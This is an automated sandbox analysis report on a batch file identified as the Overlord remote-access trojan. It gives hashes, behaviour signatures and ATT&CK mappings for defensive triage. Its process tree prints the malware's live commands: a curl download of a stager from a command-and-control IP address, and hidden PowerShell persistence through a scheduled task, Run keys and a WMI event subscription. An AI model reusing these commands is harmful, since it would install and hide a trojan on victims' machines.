overlord | 57809c5252f85f0f92eaa54a4cbc892ebf2309fab3e68a81907f08fd466c471b

Analysis

user interaction
yes
max time kernel
64s
max time network
65s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/07/2026, 07:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
shitty-windows-amd64-aa4b642d (1).bat
Size 352B
Sample260724-jmbhjsfb28
SHA256 57809c5252f85f0f92eaa54a4cbc892ebf2309fab3e68a81907f08fd466c471b
MD5 8abe1fd2c12e9235fe0f67b7e7f7c333
SHA1 cfc3e6a73baf65130a0cca16b846ba71734913a6
SHA512 4603d540aad3824e8f977b80ce340d9bb5484dd6077e531feaf8596a6ac7f920d8162dcb7878f82a4f9bd1f855444227094d3c8436deb88a195ec72a793f9a9e
TLSH
T132E02692E09225785EF2CBC88D741ACB2BAFC0E70785F8DC9124DE08008D11FC396860
MD5 SHA1 SHA512 TLSH

Score

10^/10

discovery execution overlord persistence rat

Malware Config

Extracted

Family

overlord

95.76.39.181:5173

Signatures

Family: Overlord
Overlord is an open-source Windows RAT written in Golang.
rat overlord

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
708	powershell.exe
3688	powershell.exe
2912	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
1	4104	curl.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-2200566819.tmp	1d4702a44ac2c767.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-4209503782.tmp	ovd_0caf09a06d3a.exe

Executes dropped EXE 3 IoCs

pid	Process
4144	23725.exe
1408	1d4702a44ac2c767.exe
944	ovd_0caf09a06d3a.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-f2c2919b = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\ovd_0caf09a06d3a.exe\""	1d4702a44ac2c767.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-8bf5b6fb = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\ovd_0caf09a06d3a.exe\""	ovd_0caf09a06d3a.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
1956	tasklist.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5184	cmd.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
708	powershell.exe
708	powershell.exe
708	powershell.exe
3688	powershell.exe
3688	powershell.exe
3688	powershell.exe
2912	powershell.exe
2912	powershell.exe
2912	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1956	tasklist.exe
Token: SeDebugPrivilege	708	powershell.exe
Token: SeIncreaseQuotaPrivilege	708	powershell.exe
Token: SeSecurityPrivilege	708	powershell.exe
Token: SeTakeOwnershipPrivilege	708	powershell.exe
Token: SeLoadDriverPrivilege	708	powershell.exe
Token: SeSystemProfilePrivilege	708	powershell.exe
Token: SeSystemtimePrivilege	708	powershell.exe
Token: SeProfSingleProcessPrivilege	708	powershell.exe
Token: SeIncBasePriorityPrivilege	708	powershell.exe
Token: SeCreatePagefilePrivilege	708	powershell.exe
Token: SeBackupPrivilege	708	powershell.exe
Token: SeRestorePrivilege	708	powershell.exe
Token: SeShutdownPrivilege	708	powershell.exe
Token: SeDebugPrivilege	708	powershell.exe
Token: SeSystemEnvironmentPrivilege	708	powershell.exe
Token: SeRemoteShutdownPrivilege	708	powershell.exe
Token: SeUndockPrivilege	708	powershell.exe
Token: SeManageVolumePrivilege	708	powershell.exe
Token: 33	708	powershell.exe
Token: 34	708	powershell.exe
Token: 35	708	powershell.exe
Token: 36	708	powershell.exe
Token: SeIncreaseQuotaPrivilege	708	powershell.exe
Token: SeSecurityPrivilege	708	powershell.exe
Token: SeTakeOwnershipPrivilege	708	powershell.exe
Token: SeLoadDriverPrivilege	708	powershell.exe
Token: SeSystemProfilePrivilege	708	powershell.exe
Token: SeSystemtimePrivilege	708	powershell.exe
Token: SeProfSingleProcessPrivilege	708	powershell.exe
Token: SeIncBasePriorityPrivilege	708	powershell.exe
Token: SeCreatePagefilePrivilege	708	powershell.exe
Token: SeBackupPrivilege	708	powershell.exe
Token: SeRestorePrivilege	708	powershell.exe
Token: SeShutdownPrivilege	708	powershell.exe
Token: SeDebugPrivilege	708	powershell.exe
Token: SeSystemEnvironmentPrivilege	708	powershell.exe
Token: SeRemoteShutdownPrivilege	708	powershell.exe
Token: SeUndockPrivilege	708	powershell.exe
Token: SeManageVolumePrivilege	708	powershell.exe
Token: 33	708	powershell.exe
Token: 34	708	powershell.exe
Token: 35	708	powershell.exe
Token: 36	708	powershell.exe
Token: SeIncreaseQuotaPrivilege	708	powershell.exe
Token: SeSecurityPrivilege	708	powershell.exe
Token: SeTakeOwnershipPrivilege	708	powershell.exe
Token: SeLoadDriverPrivilege	708	powershell.exe
Token: SeSystemProfilePrivilege	708	powershell.exe
Token: SeSystemtimePrivilege	708	powershell.exe
Token: SeProfSingleProcessPrivilege	708	powershell.exe
Token: SeIncBasePriorityPrivilege	708	powershell.exe
Token: SeCreatePagefilePrivilege	708	powershell.exe
Token: SeBackupPrivilege	708	powershell.exe
Token: SeRestorePrivilege	708	powershell.exe
Token: SeShutdownPrivilege	708	powershell.exe
Token: SeDebugPrivilege	708	powershell.exe
Token: SeSystemEnvironmentPrivilege	708	powershell.exe
Token: SeRemoteShutdownPrivilege	708	powershell.exe
Token: SeUndockPrivilege	708	powershell.exe
Token: SeManageVolumePrivilege	708	powershell.exe
Token: 33	708	powershell.exe
Token: 34	708	powershell.exe
Token: 35	708	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 5184 wrote to memory of 4104	5184	cmd.exe	90
PID 5184 wrote to memory of 4144	5184	cmd.exe	91
PID 4144 wrote to memory of 1956	4144	23725.exe	92
PID 4144 wrote to memory of 1408	4144	23725.exe	95
PID 1408 wrote to memory of 708	1408	1d4702a44ac2c767.exe	96
PID 944 wrote to memory of 3688	944	ovd_0caf09a06d3a.exe	100
PID 944 wrote to memory of 2912	944	ovd_0caf09a06d3a.exe	102

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	1	curl/8.8.0

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\shitty-windows-amd64-aa4b642d (1).bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5184
- C:\Windows\system32\curl.exe
  curl -k -s -o "C:\Users\Public\23725.exe" "https://95.76.39.181:5173/api/build/stager"
  2⤵
  - Downloads MZ/PE file
  PID:4104
- C:\Users\Public\23725.exe
  "C:\Users\Public\23725.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4144
- - C:\Windows\system32\tasklist.exe
    tasklist.exe
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1956
- - C:\Users\Admin\AppData\Local\Temp\1d4702a44ac2c767.exe
    C:\Users\Admin\AppData\Local\Temp\1d4702a44ac2c767.exe
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:1408
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_0caf09a06d3a.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_896d7105' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:708

C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_0caf09a06d3a.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_0caf09a06d3a.exe"
1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_0caf09a06d3a.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_896d7105' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f896d7105'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c896d7105'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_0caf09a06d3a.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f896d7105'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c896d7105'\"; $null = $b.Put()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2912

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a01fc63479ea1e38e1e45e4818c6b124b1329738b68af537cbbaf2229e3da860
MD5 6b42f4162602d0724a56d346917fb82e
SHA1 59106ec6e39f7fab707bc13b00448822b127e1a3
SHA512 665674425233af37ba97be7df4b268de7c7edd6f27ffa0fb2db6cc51aaddcccb8c82c376a7b059213e7212d798e1ac9f1993531ab8d26726f868553ca2526c77
TLSH
T1AC219833B3CC8614C89A013A10CDAC0036B6CBCB40DECE5B7B80E655A43F698CE60060
MD5 SHA1 SHA512 TLSH

Submit Download

1d4702a44ac2c767.exe

Path C:\Users\Admin\AppData\Local\Temp\1d4702a44ac2c767.exe
Size 17.8MB
SHA256 0bf6ef35558c5c52c0134ab3f33ecbbd0e365356c7ff7a6ab1ceba3b00a18be9
MD5 9d0e8f3fd576083a54938df57da526a7
SHA1 7bcb91535f9326f25db4cea0a1ed9deac58ad2b9
SHA512 91750b131ae0e18b247f30085d498f1bacc364cf2b02ce71f219a186b205458b6514cd670e923113712a8a0cf633a7ba9e97ae5908c5a8ed9bae7e83a3d584c8
SSDEEP 98304:N5ljKIgC4TAAS9bypl4k+nzP71DUr1NMJEp0x9XLUUsmRHDMkpIEU1tPLD/isFVY:PhzgC4myb4jZUfxIDMICVHZwx
TLSH
T1A1175A47EDA505E9C4ADD534C972A623BB713C494B3023D72B64FA242F76BD0AEB9700
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_aibcc4yy.t40.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aibcc4yy.t40.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

23725.exe

Path C:\Users\Public\23725.exe
Size 13.5MB
SHA256 4052991949d4448b5561f87a0f0a20f39b0a747a47b35cd4a20623c81ef7fdb2
MD5 dfb1fb31950f5cab36f39c66544aa04a
SHA1 b09a2564e31758710cd954e8df76e8da9f77b201
SHA512 9992e7e331fed25578560b46ccc2a22239b69791c79f58de6985937cff41b36cf73c5182448abf5a2c57da37480f3bd0da72018c47bdbb5b348f35a03fe745e8
SSDEEP 49152:Ev//S5J883WB5PLewEDl1OX2cAImlObmeUeDd/f/xTIZ5NmTWtQnMv+iAMoGthsa:Ev3mm2ylyhJwHy
TLSH
T126E6F0A2E86104F5C0A9D13E867255533E22B856DB2C63D71B18FAE71E75FC0EE76320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/708-20-0x00000273A44E0000-0x00000273A4592000-memory.dmp

Download

memory/708-24-0x00000273A42B0000-0x00000273A42CE000-memory.dmp

Download

memory/708-21-0x00000273A4280000-0x00000273A428A000-memory.dmp

Download

memory/708-19-0x00000273A4260000-0x00000273A427E000-memory.dmp

Download

memory/708-16-0x00000273A4090000-0x00000273A40B2000-memory.dmp

Download

memory/944-41-0x00007FF6CCA60000-0x00007FF6CFD29000-memory.dmp

Download

memory/1408-25-0x00007FF7BB700000-0x00007FF7BE9C9000-memory.dmp

Download

memory/1408-42-0x00007FF7BB700000-0x00007FF7BE9C9000-memory.dmp

Download

memory/1408-43-0x00007FF7BB700000-0x00007FF7BE9C9000-memory.dmp

Download

memory/1408-44-0x00007FF7BB700000-0x00007FF7BE9C9000-memory.dmp

Download

memory/1408-45-0x00007FF7BB700000-0x00007FF7BE9C9000-memory.dmp

Download